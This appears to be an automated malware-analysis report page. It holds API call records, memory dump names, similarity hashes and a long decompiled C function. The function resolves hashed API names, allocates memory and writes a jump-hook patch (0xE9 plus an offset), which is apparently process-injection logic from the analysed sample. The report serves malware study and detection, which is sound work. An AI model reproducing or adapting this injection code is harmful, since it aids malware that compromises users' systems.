0x6f3f3597
0x6f3f3589
0x6f3f3589
0x6f3f358a
0x6f3f358c
0x6f3f358e
0x6f3f358f
0x6f3f358f

APIs

RtlCreateHeap.NTDLL(00000002,00000000,00000000,00000000,00000000,00000000,A5EABDF8,9B42CB07,A5EABDF8,D926C223,?,?,00000000,6F3EDEB9,?,?), ref: 6F3F35CE

Memory Dump Source

Source File: 00000002.00000002.470542364.000000006F3E1000.00000020.00020000.sdmp, Offset: 6F3E0000, based on PE: true

Associated: 00000002.00000002.470524369.000000006F3E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470634843.000000006F3FA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470649269.000000006F3FD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470660135.000000006F3FF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 82717f1d8dea5d2b9cb268d0553392ce89910be07411e36b4606bcc91e5a4b06
Instruction ID: caa3d99664ec593942fcf54630f195a1dff894ca36f687515b6180c91feaf691
Opcode Fuzzy Hash: 82717f1d8dea5d2b9cb268d0553392ce89910be07411e36b4606bcc91e5a4b06
Instruction Fuzzy Hash: 57F02E7220B345FDE6101B766D04D56BEDCEFC4627B908429B584EE080D7158441C663

Uniqueness

Uniqueness Score: -1.00%

Function 029F1604, Relevance: 1.4, APIs: 1, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 029F1720

Memory Dump Source

Source File: 00000002.00000002.467520904.00000000029F0000.00000040.00000001.sdmp, Offset: 029F0000, based on PE: true

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 99469d315d7e96e7c6a2aa8cb6bae2f18d8bfe8ee7b92197b6cc725208e467b8
Instruction ID: cef70d3f36471fdd0983699f1cb21919288a188ea0526b52e20a2a044b0b677c
Opcode Fuzzy Hash: 99469d315d7e96e7c6a2aa8cb6bae2f18d8bfe8ee7b92197b6cc725208e467b8
Instruction Fuzzy Hash: 1041E5B5D042198FDB44DF98C494AAEBBF1FF88314F19852EE948A7340D375A840CF94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6F3E9144, Relevance: 2.4, Strings: 1, Instructions: 1104
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E6F3E9144(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				intOrPtr _v20;
				intOrPtr _v40;
				char _v60;
				intOrPtr _v92;
				void* _v96;
				char _v100;
				char _v104;
				char _v108;
				intOrPtr _v112;
				signed int _v116;
				char _v128;
				intOrPtr _v132;
				void* _v136;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v156;
				char _v160;
				signed int _v164;
				char _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				char _v196;
				void* _v200;
				signed int _v204;
				char _v208;
				char _v212;
				char _v216;
				intOrPtr _v220;
				intOrPtr _v228;
				intOrPtr _v236;
				void* _v268;
				char _v292;
				char _v308;
				char _v316;
				char _v320;
				void* _v324;
				char _v332;
				char _v340;
				void* _v356;
				void* _v360;
				char _v364;
				char _v380;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				intOrPtr _v400;
				signed int _v404;
				char _v408;
				void* _v412;
				char _v416;
				signed int* _v420;
				char _v424;
				char _v428;
				char _v432;
				char _v436;
				intOrPtr _v440;
				signed int* _v444;
				char _v448;
				void* _v452;
				intOrPtr _v460;
				char _v464;
				void* _v468;
				char _v472;
				intOrPtr _v476;
				char _v480;
				void* _v484;
				char _v492;
				char _v496;
				void* _v500;
				char _v508;
				char _v516;
				signed int _v520;
				char _v524;
				char _v528;
				char _v532;
				char _v536;
				char _v540;
				char _v544;
				void* _v548;
				char _v552;
				char _v556;
				char _v560;
				signed int _v564;
				signed int _v568;
				char _v572;
				char _v576;
				char _v580;
				char _v584;
				char _v588;
				char _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				char _v616;
				char _v620;
				char _v624;
				signed int _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t437;
				intOrPtr _t442;
				signed int _t444;
				char* _t459;
				char _t534;
				signed int _t544;
				intOrPtr _t546;
				signed int _t550;
				signed int _t556;
				intOrPtr _t561;
				signed int _t567;
				char _t579;
				intOrPtr _t584;
				char _t585;
				intOrPtr _t589;
				char _t590;
				intOrPtr _t594;
				char _t595;
				intOrPtr _t599;
				char _t600;
				intOrPtr _t604;
				char _t605;
				intOrPtr _t609;
				signed int _t622;
				char _t629;
				intOrPtr _t633;
				signed char* _t635;
				signed int _t638;
				intOrPtr _t641;
				signed int* _t647;
				signed int* _t650;
				intOrPtr _t665;
				char* _t806;
				signed int* _t836;
				char* _t837;
				char* _t844;
				void* _t845;
				intOrPtr* _t854;
				signed int* _t856;
				intOrPtr* _t857;
				signed int* _t858;
				signed int* _t860;
				signed int* _t863;
				intOrPtr _t864;
				intOrPtr _t867;
				char _t868;
				signed int _t869;
				intOrPtr* _t872;
				intOrPtr* _t874;
				intOrPtr* _t875;
				intOrPtr* _t876;
				intOrPtr* _t877;
				intOrPtr* _t878;
				signed int* _t881;
				intOrPtr* _t882;
				char* _t907;
				void* _t935;
				char _t950;
				char _t951;
				intOrPtr* _t953;
				void* _t954;
				intOrPtr* _t955;
				void* _t957;

				_t957 = __eflags;
				_t953 =  &_v496;
				_t641 = __edx;
				_v40 = __ecx;
				_t951 =  *((intOrPtr*)(__ecx + 0xc));
				E6F3F2F8C(0x23627913, 0xae88daa3);
				_v496 = 0;
				E6F3EF620( &_v492, 0);
				_v480 = 0;
				_v476 = 0;
				E6F3EF620( &_v472, 0);
				_v528 = 0;
				E6F3EF620( &_v524, 0);
				_v392 = 0x4145240a;
				asm("pxor xmm0, xmm0");
				asm("movq [ecx+0x90], xmm0");
				E6F3EF8C4( &_v528, E6F3EF568( &_v528) + 0x10);
				E6F3EF558( &_v532, E6F3EF568( &_v532) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v540 = _v540 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v536 + 0x88)) = 0x22dc1034;
				asm("movq [ecx+0x90], xmm0");
				E6F3EF8C4( &_v536, E6F3EF568( &_v536) + 0x10);
				E6F3EF558( &_v540, E6F3EF568( &_v540) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v548 = _v548 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v544 + 0x88)) = 0xc06fd820;
				asm("movq [ecx+0x90], xmm0");
				E6F3EF8C4( &_v544, E6F3EF568( &_v544) + 0x10);
				E6F3EF558( &_v548, E6F3EF568( &_v548) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v556 = _v556 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v552 + 0x88)) = 0xa54975b2;
				asm("movq [ecx+0x90], xmm0");
				E6F3EF8C4( &_v552, E6F3EF568( &_v552) + 0x10);
				E6F3EF558( &_v556, E6F3EF568( &_v556) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v564 = _v564 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v560 + 0x88)) = 0x271e028;
				asm("movq [ecx+0x90], xmm0");
				E6F3EF8C4( &_v560, E6F3EF568( &_v560) + 0x10);
				E6F3EF558( &_v564, E6F3EF568( &_v564) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v572 = _v572 + 1;
				asm("pxor xmm0, xmm0");
				( &_v568)[0x22] = 0xf279aa39;
				asm("movq [ecx+0x90], xmm0");
				E6F3EF8C4( &_v568, E6F3EF568( &_v568) + 0x10);
				E6F3EF558( &_v572, E6F3EF568( &_v572) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *_t953 =  *_t953 + 1;
				E6F3F413C(0xa5eabdf8, _t953);
				E6F3EF558( &_v576, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x4c], xmm0");
				E6F3EF558( &_v580, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x54], xmm0");
				E6F3EF558( &_v584, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x64], xmm0");
				E6F3EF558( &_v588, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x6c], xmm0");
				E6F3EF558( &_v592, 0x40);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x74], xmm0");
				E6F3EF558( &_v596, 0x50);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x7c], xmm0");
				_v584 = _t951;
				E6F3EADB8( &_v584,  &_v172, _t957,  &_v192);
				_t889 = _v176;
				_t931 = _v172;
				if((_v176 | _v172) != 0) {
					E6F3EB338( &_v308, _t951, __eflags, _t889, _t931);
					E6F3EF8DC( &_v516, __eflags);
					_v520 = 0;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v516 + 0x88)) = 0x5889e652;
					asm("movq [eax+0x8], xmm0");
					E6F3EF8C4( &_v516, E6F3EF568( &_v516) + 0x10);
					E6F3EF558( &_v520, E6F3EF568( &_v520) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v528 = _v528 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v524 + 0x88)) = 0x1eeb5e35;
					asm("movq [eax+0x8], xmm0");
					E6F3EF8C4( &_v524, E6F3EF568( &_v524) + 0x10);
					E6F3EF558( &_v528, E6F3EF568( &_v528) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v536 = _v536 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v532 + 0x88)) = 0xac5d5303;
					asm("movq [eax+0x8], xmm0");
					E6F3EF8C4( &_v532, E6F3EF568( &_v532) + 0x10);
					E6F3EF558( &_v536, E6F3EF568( &_v536) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v544 = _v544 + 1;
					_t954 = _t953 + 0xfffffff4;
					asm("movq xmm0, [esp+0x1bc]");
					asm("movq [esp], xmm0");
					_v548 =  &_v544;
					E6F3EBAB8( &_v340, __eflags);
					E6F3EF558( &_v552, 0);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x5c], xmm0");
					E6F3EF558( &_v556, 0x10);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x84], xmm0");
					_t935 = E6F3EF558( &_v560, 0x20);
					_v164 =  *((intOrPtr*)(_t935 + 8));
					_v144 =  *((intOrPtr*)(_t935 + 0xc));
					E6F3EF620( &_v396, 0);
					E6F3EF620( &_v416, 0);
					_push(0);
					_push( *0x6f3fb7c4);
					E6F3F20A4(__eflags,  &_v100);
					E6F3EF75C( &_v416, __eflags);
					E6F3EE054( &_v100);
					E6F3EF8C4( &_v436, E6F3EF744( &_v420,  &_v100));
					_t437 = E6F3EF558( &_v424, 0);
					E6F3E7970(_t951, _t437, E6F3EF558( &_v444, 0), _v112);
					_t442 = E6F3EF568( &_v448);
					_v228 = _t442;
					_t101 = _t442 + 2; // 0x2
					_v188 = E6F3EB0A4( &_v584, 0x20000000, __eflags, _t101);
					_v236 = 0x20000000;
					_t444 = E6F3EB0A4( &_v588, 0x80000000, __eflags, 0x82);
					_v184 = _t444;
					_v204 = 0x80000000;
					__eflags = _t444 | _v204;
					if((_t444 | _v204) == 0) {
						L51:
						E6F3EF6F0( &_v380);
						E6F3EF6F0( &_v364);
						E6F3EF6F0( &_v332);
						goto L1;
					}
					__eflags = _v116 | _v164;
					if((_v116 | _v164) == 0) {
						goto L51;
					}
					E6F3F35D4( &_v292, 0, 0x80);
					_t955 = _t954 + 0xc;
					 *((intOrPtr*)( &_v316 + 0x78)) = _v20;
					E6F3ECDC0( &_v316, 0);
					_t459 =  &_v320;
					_t854 = _t459 + 0xe8;
					 *_t854 = _t641;
					 *((intOrPtr*)(_t854 - 4)) = _v20;
					_push(_t459);
					E6F3EB48C(_t641, _t459 - 0x20, _t854 - 4, _v20, _t951, _t951, _t854 - 4);
					asm("cdq");
					asm("movd xmm1, eax");
					asm("movd xmm0, edx");
					asm("punpckldq xmm1, xmm0");
					asm("movq [esp+0x134], xmm1");
					_v236 = E6F3EF568(_v20);
					asm("cdq");
					asm("movd xmm1, eax");
					asm("movd xmm0, edx");
					asm("punpckldq xmm1, xmm0");
					asm("movq [esi+0x8], xmm1");
					_v220 = E6F3EF568(_t641);
					asm("cdq");
					asm("movd xmm1, eax");
					asm("movd xmm0, edx");
					asm("punpckldq xmm1, xmm0");
					asm("movq [ebx-0x90], xmm1");
					E6F3F3C8C(_t951,  &_v60 - 0x80, __eflags, _v148, _v128, 7,  &_v60);
					_t133 =  &(( &_v564)[0x58]); // 0x160
					_t856 = _t133;
					 *_t856 = _v164;
					_t856[1] = ( &_v564)[0x69];
					E6F3EF8DC( &_v564, __eflags);
					_v568 = 0;
					_t746 =  &_v564;
					asm("pxor xmm0, xmm0");
					_t136 = _t746 + 0x88; // 0x88
					 *_t136 = 0x853cdd04;
					asm("movq [eax+0x8], xmm0");
					E6F3EF8C4( &_v564, E6F3EF568( &_v564) + 0x10);
					E6F3EF558( &_v568, E6F3EF568( &_v568) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v576 = _v576 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v572 + 0x88)) = 0xb162dc4e;
					asm("movq [eax+0x8], xmm0");
					E6F3EF8C4( &_v572, E6F3EF568( &_v572) + 0x10);
					E6F3EF558( &_v576, E6F3EF568( &_v576) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v584 = _v584 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v580 + 0x88)) = 0xc15ccc53;
					asm("movq [eax+0x8], xmm0");
					E6F3EF8C4( &_v580, E6F3EF568( &_v580) + 0x10);
					E6F3EF558( &_v584, E6F3EF568( &_v584) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v592 = _v592 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v588 + 0x88)) = 0x73f8f999;
					asm("movq [eax+0x8], xmm0");
					E6F3EF8C4( &_v588, E6F3EF568( &_v588) + 0x10);
					E6F3EF558( &_v592, E6F3EF568( &_v592) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v600 = _v600 + 1;
					_t762 =  &_v596;
					asm("pxor xmm0, xmm0");
					_t160 = _t762 + 0x88; // 0xa8
					 *_t160 = 0x4145240a;
					asm("movq [eax+0x8], xmm0");
					E6F3EF8C4( &_v596, E6F3EF568( &_v596) + 0x10);
					E6F3EF558( &_v600, E6F3EF568( &_v600) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v608 = _v608 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v604 + 0x88)) = 0xf06b4c6b;
					asm("movq [eax+0x8], xmm0");
					E6F3EF8C4( &_v604, E6F3EF568( &_v604) + 0x10);
					E6F3EF558( &_v608, E6F3EF568( &_v608) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v616 = _v616 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v612 + 0x88)) = 0x7d07f92f;
					asm("movq [eax+0x8], xmm0");
					E6F3EF8C4( &_v612, E6F3EF568( &_v612) + 0x10);
					E6F3EF558( &_v616, E6F3EF568( &_v616) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v624 = _v624 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v620 + 0x88)) = 0x2c2324e8;
					asm("movq [eax+0x8], xmm0");
					E6F3EF8C4( &_v620, E6F3EF568( &_v620) + 0x10);
					E6F3EF558( &_v624, E6F3EF568( &_v624) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t857 = _t955;
					 *_t857 =  *_t857 + 1;
					E6F3F413C(0xa5eabdf8, _t857);
					E6F3EF558( &_v628, 0);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0xf4], xmm0");
					E6F3EF558( &_v632, 0x10);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0xfc], xmm0");
					E6F3EF558( &_v636, 0x20);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x104], xmm0");
					E6F3EF558( &_v640, 0x30);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x10c], xmm0");
					E6F3EF558( &_v644, 0x40);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x114], xmm0");
					E6F3EF558( &_v648, 0x50);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x11c], xmm0");
					E6F3EF558( &_v652, 0x60);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x124], xmm0");
					E6F3EF558( &_v656, 0x70);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [ecx+0x118], xmm0");
					_t534 = E6F3EA5A4( &_v644, __eflags);
					_v524 = _t857;
					_t950 = _t534;
					__eflags = _t950 - 0xffffffffffffffff | _t857 - 0xffffffffffffffff;
					if((_t950 - 0xffffffffffffffff | _t857 - 0xffffffffffffffff) == 0) {
						L50:
						E6F3EB608(_t955 + 0xbc);
						E6F3ECDE0( &_v320, __eflags);
						goto L51;
					}
					_t858 =  &_v128;
					__eflags =  *_t858 | _t858[1];
					if(( *_t858 | _t858[1]) != 0) {
						L18:
						_v396 = 0;
						while(1) {
							__eflags = E6F3EAD68(0x80, _t950, _v400, _v112, _v132);
							if(__eflags != 0) {
								break;
							}
							_t605 = E6F3EA5A4( &_v520, __eflags);
							_v400 = 0x80;
							_t950 = _t605;
							__eflags = _t950 - 0xffffffffffffffff | 0x81;
							if((_t950 - 0xffffffffffffffff | 0x81) == 0) {
								goto L50;
							}
							_t878 =  &_v396;
							_t609 =  *_t878 + 1;
							 *_t878 = _t609;
							__eflags = _t609 - 0xa;
							if(_t609 != 0xa) {
								continue;
							}
							goto L50;
						}
						_v396 = 0;
						while(1) {
							_push(0x80);
							_push(_v132);
							_push(_v112);
							_push(_v400);
							_push(_t950);
							_t860 =  &(( &_v520)[0x38]);
							__eflags = E6F3EA298( &_v520, _t860);
							if(__eflags != 0) {
								break;
							}
							_t600 = E6F3EA5A4( &_v540, __eflags);
							_v420 = _t860;
							_t950 = _t600;
							__eflags = _t950 - 0xffffffffffffffff | _t860 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t860 - 0xffffffffffffffff) == 0) {
								goto L50;
							}
							_t877 =  &_v416;
							_t604 =  *_t877 + 1;
							 *_t877 = _t604;
							__eflags = _t604 - 0xa;
							if(_t604 != 0xa) {
								continue;
							}
							goto L50;
						}
						asm("cdq");
						asm("movd xmm1, eax");
						_v416 =  *((intOrPtr*)(_t955 + 0x1a4));
						_t647 =  &_v408;
						asm("movd xmm0, edx");
						asm("punpckldq xmm1, xmm0");
						 *_t647 = 0;
						 *((intOrPtr*)(_t647 - 4)) = _v188;
						asm("movq [edx], xmm1");
						_t544 = E6F3F3BA0(_t951, _t647 - 8, __eflags,  &(_t647[0x48]), 0x40, _t647);
						__eflags = _t544;
						if(_t544 != 0) {
							goto L50;
						}
						_v180 = 0;
						while(1) {
							_t863 = _v184;
							__eflags = E6F3EAD68(_t863, _t950, _v420,  *((intOrPtr*)(_t955 + 0x1a8)), _v188);
							if(__eflags != 0) {
								break;
							}
							_t595 = E6F3EA5A4( &_v540, __eflags);
							_v420 = _t863;
							_t950 = _t595;
							__eflags = _t950 - 0xffffffffffffffff | _t863 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t863 - 0xffffffffffffffff) == 0) {
								goto L50;
							}
							_t876 =  &_v180;
							_t599 =  *_t876 + 1;
							 *_t876 = _t599;
							__eflags = _t599 - 0xa;
							if(_t599 != 0xa) {
								continue;
							}
							goto L50;
						}
						_v184 = 0;
						while(1) {
							_t546 = E6F3EF558( &_v404, 0);
							_push(E6F3EF568( &_v408));
							_push(_v192);
							_push(_v144);
							_push(_v424);
							_push(_t950);
							_t864 = _t546;
							__eflags = E6F3EA298( &_v544, _t864);
							if(__eflags != 0) {
								break;
							}
							_t590 = E6F3EA5A4( &_v560, __eflags);
							_v440 = _t864;
							_t950 = _t590;
							__eflags = _t950 - 0xffffffffffffffff | _t864 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t864 - 0xffffffffffffffff) == 0) {
								goto L50;
							}
							_t875 =  &_v204;
							_t594 =  *_t875 + 1;
							 *_t875 = _t594;
							__eflags = _t594 - 0xa;
							if(_t594 != 0xa) {
								continue;
							}
							goto L50;
						}
						_t550 = E6F3F3BA0(_t951,  &_v428 - 8, __eflags,  &_v428 + 0x120, _v428,  &_v428);
						__eflags = _t550;
						if(_t550 != 0) {
							goto L50;
						}
						E6F3EF620( &_v208, 0);
						_v100 = 0xe9;
						E6F3EF578( &_v100 - 0x70, __eflags,  &_v100, 1);
						_t650 =  &_v104;
						_t556 = _v172 -  *((intOrPtr*)(_t650 - 0x54)) + 0xfffffffb;
						__eflags = _t556;
						 *_t650 = _t556;
						E6F3EF578(_t650 - 0x74, __eflags, _t650, 4);
						_t907 =  &_v448;
						asm("movq xmm0, [0x6f3fb798]");
						 *((intOrPtr*)(_t907 - 8)) = _v196;
						 *((intOrPtr*)(_t907 - 4)) =  *((intOrPtr*)(_t907 + 0x110));
						asm("movq [ebx], xmm0");
						E6F3F3BA0(_t951, _t907 + 0x120 - 0x128, __eflags, _t907 + 0x120, 0x40, _t907);
						_v192 = 0;
						while(1) {
							_t561 = E6F3EF558( &_v208, 0);
							_push(E6F3EF568( &_v212));
							_push(_v160);
							_push(_v180);
							_push(_v444);
							_push(_t950);
							_t867 = _t561;
							__eflags = E6F3EA298( &_v564, _t867);
							if(__eflags != 0) {
								break;
							}
							_t585 = E6F3EA5A4( &_v580, __eflags);
							_v460 = _t867;
							_t950 = _t585;
							__eflags = _t950 - 0xffffffffffffffff | _t867 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t867 - 0xffffffffffffffff) == 0) {
								L49:
								E6F3EF6F0(_t955 + 0x174);
								goto L50;
							}
							_t874 =  &_v180;
							_t589 =  *_t874 + 1;
							 *_t874 = _t589;
							__eflags = _t589 - 0xa;
							if(_t589 != 0xa) {
								continue;
							}
							goto L49;
						}
						_v180 = 0;
						while(1) {
							_t955 = _t955 + 0xffffffd8;
							asm("pxor xmm0, xmm0");
							_v640 = _t950;
							_v636 = _v460;
							_t868 = _v196;
							_v632 = _t868;
							_v628 = _v176;
							_t806 =  &_v580;
							_v624 =  *((intOrPtr*)(_t806 + 0x198));
							_v620 =  *((intOrPtr*)(_t806 + 0x184));
							asm("movq [esp+0x18], xmm0");
							asm("movq [esp+0x20], xmm0");
							__eflags = E6F3EAD04(__eflags);
							if(__eflags != 0) {
								break;
							}
							_t579 = E6F3EA5A4( &_v616, __eflags);
							_v496 = _t868;
							_t950 = _t579;
							__eflags = _t950 - 0xffffffffffffffff | _t868 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t868 - 0xffffffffffffffff) == 0) {
								goto L49;
							}
							_t872 =  &_v216;
							_t584 =  *_t872 + 1;
							 *_t872 = _t584;
							__eflags = _t584 - 0xa;
							if(__eflags != 0) {
								continue;
							}
							goto L49;
						}
						_push(0);
						_t869 = _v164;
						__eflags = _t869;
						_t870 =  !=  ? _t869 + 0xc : _t869;
						_push( !=  ? _t869 + 0xc : _t869);
						_t567 = E6F3EC3A8(_t869,  &_v416, 0x2710);
						E6F3EF6F0(_t955 + 0x184);
						E6F3EB608( &_v448);
						E6F3ECDE0( &_v416, __eflags);
						E6F3EF6F0( &_v480);
						E6F3EF6F0( &_v464);
						E6F3EF6F0( &_v432);
						E6F3EF6F0( &_v632);
						E6F3EB680( &_v592);
						E6F3EF6F0( &_v608);
						__eflags = _t567;
						return 0 | _t567 == 0x00000000;
					}
					_v388 = 0;
					do {
						E6F3EF620(_t955 + 0x188, 0);
						_push(0x23627913);
						_push(_t955 + 0x1cc);
						E6F3F1D00();
						E6F3EDD7C(_t955 + 0x1d0 - 8, _t955 + 0x1d0);
						_t879 = 0x7fffffff;
						E6F3EF578( &_v168, __eflags, _v92, E6F3EE94C(_v92, 0x7fffffff));
						E6F3EE054( &_v100);
						E6F3ED098( &_v108);
						_t836 =  &_v176;
						_t665 =  *((intOrPtr*)(_t836 + 0x28));
						 *((intOrPtr*)(_t836 - 0xf0)) = _v156;
						__eflags = E6F3EF568(_t836);
						if(__eflags <= 0) {
							L12:
							_t955 = _t955 + 0xffffffd8;
							asm("movq xmm0, [esp+0xac]");
							asm("pxor xmm1, xmm1");
							_t837 =  &_v528;
							_v588 = _t950;
							_v584 =  *((intOrPtr*)(_t837 + 0x78));
							asm("movq [esp+0x8], xmm0");
							_v572 =  *((intOrPtr*)(_t837 + 0x198));
							_v568 =  *((intOrPtr*)(_t837 + 0x184));
							asm("movq [esp+0x18], xmm1");
							asm("movq [esp+0x20], xmm1");
							_t622 = E6F3EAD04(__eflags);
							__eflags = _t622;
							if(_t622 != 0) {
								E6F3F218C(0x3e8, _t879, _t950);
								E6F3EF6F0( &_v196);
								E6F3EADB8( &_v564,  &(( &_v172)[5]), __eflags,  &_v172);
								_t881 =  &_v176;
								__eflags =  *_t881 | _t881[1];
								if(__eflags != 0) {
									goto L18;
								}
								_t629 = E6F3EA5A4( &_v564, __eflags);
								_v444 = _t881;
								_t950 = _t629;
								__eflags = _t950 - 0xffffffffffffffff | _t881 - 0xffffffffffffffff;
								if((_t950 - 0xffffffffffffffff | _t881 - 0xffffffffffffffff) == 0) {
									goto L50;
								}
								goto L16;
							}
							L13:
							E6F3EF6F0( &_v196);
							goto L50;
						}
						_v404 = 0;
						while(1) {
							_t635 = E6F3EF558( &_v160, _v404);
							_t879 = _t635;
							_t955 = _t955 + 0xffffffd8;
							asm("movq xmm0, [esp+0x94]");
							_t844 =  &_v532;
							asm("movq xmm1, [0x6f3fb790]");
							_v592 = _t950;
							_v588 =  *((intOrPtr*)(_t844 + 0x78));
							asm("movq [esp+0x8], xmm0");
							_v576 = _t665;
							_v572 =  *((intOrPtr*)(_t844 + 0x80));
							_v568 =  *_t635 & 0x000000ff;
							_v564 = 0;
							asm("movq [esp+0x20], xmm1");
							_t638 = E6F3EAD04(__eflags);
							__eflags = _t638;
							if(_t638 == 0) {
								goto L13;
							}
							_t845 = 0x64;
							E6F3F218C(_t845, _t879, _t950);
							_t665 = _t665 + 1;
							asm("adc dword [ecx-0xf0], 0x0");
							 *((intOrPtr*)( &_v196 - 0xf4)) =  *((intOrPtr*)( &_v196 - 0xf4)) + 1;
							__eflags = E6F3EF568( &_v196) - _v440;
							if(__eflags > 0) {
								continue;
							}
							goto L12;
						}
						goto L13;
						L16:
						_t882 =  &_v432;
						_t633 =  *_t882 + 1;
						 *_t882 = _t633;
						__eflags = _t633 - 0xa;
					} while (_t633 != 0xa);
					goto L50;
				}
				L1:
				E6F3EF6F0( &_v532);
				E6F3EB680( &_v492);
				E6F3EF6F0( &_v508);
				return 0;
			}

0x6f3e9144
0x6f3e9148
0x6f3e914e
0x6f3e9150
0x6f3e9161
0x6f3e9164
0x6f3e916b
0x6f3e9174
0x6f3e917b
0x6f3e917f
0x6f3e9188
0x6f3e918f
0x6f3e9197
0x6f3e919c
0x6f3e91ab
0x6f3e91af
0x6f3e91c4
0x6f3e91da
0x6f3e91e8
0x6f3e91e9
0x6f3e91ea
0x6f3e91eb
0x6f3e91ec
0x6f3e91f3
0x6f3e91f7
0x6f3e9201
0x6f3e9216
0x6f3e922c
0x6f3e923a
0x6f3e923b
0x6f3e923c
0x6f3e923d
0x6f3e923e
0x6f3e9245
0x6f3e9249
0x6f3e9253
0x6f3e9268
0x6f3e927e
0x6f3e928c
0x6f3e928d
0x6f3e928e
0x6f3e928f
0x6f3e9290
0x6f3e9297
0x6f3e929b
0x6f3e92a5
0x6f3e92ba
0x6f3e92d0
0x6f3e92de
0x6f3e92df
0x6f3e92e0
0x6f3e92e1
0x6f3e92e2
0x6f3e92e9
0x6f3e92ed
0x6f3e92f7
0x6f3e930c
0x6f3e9322
0x6f3e9330
0x6f3e9331
0x6f3e9332
0x6f3e9333
0x6f3e9334
0x6f3e933b
0x6f3e933f
0x6f3e9349
0x6f3e935e
0x6f3e9374
0x6f3e9382
0x6f3e9383
0x6f3e9384
0x6f3e9385
0x6f3e938e
0x6f3e9390
0x6f3e939b
0x6f3e93a0
0x6f3e93a5
0x6f3e93b1
0x6f3e93b6
0x6f3e93bb
0x6f3e93c7
0x6f3e93cc
0x6f3e93d1
0x6f3e93dd
0x6f3e93e2
0x6f3e93e7
0x6f3e93f3
0x6f3e93f8
0x6f3e93fd
0x6f3e9409
0x6f3e940e
0x6f3e941a
0x6f3e9420
0x6f3e9430
0x6f3e9435
0x6f3e943e
0x6f3e9447
0x6f3e947e
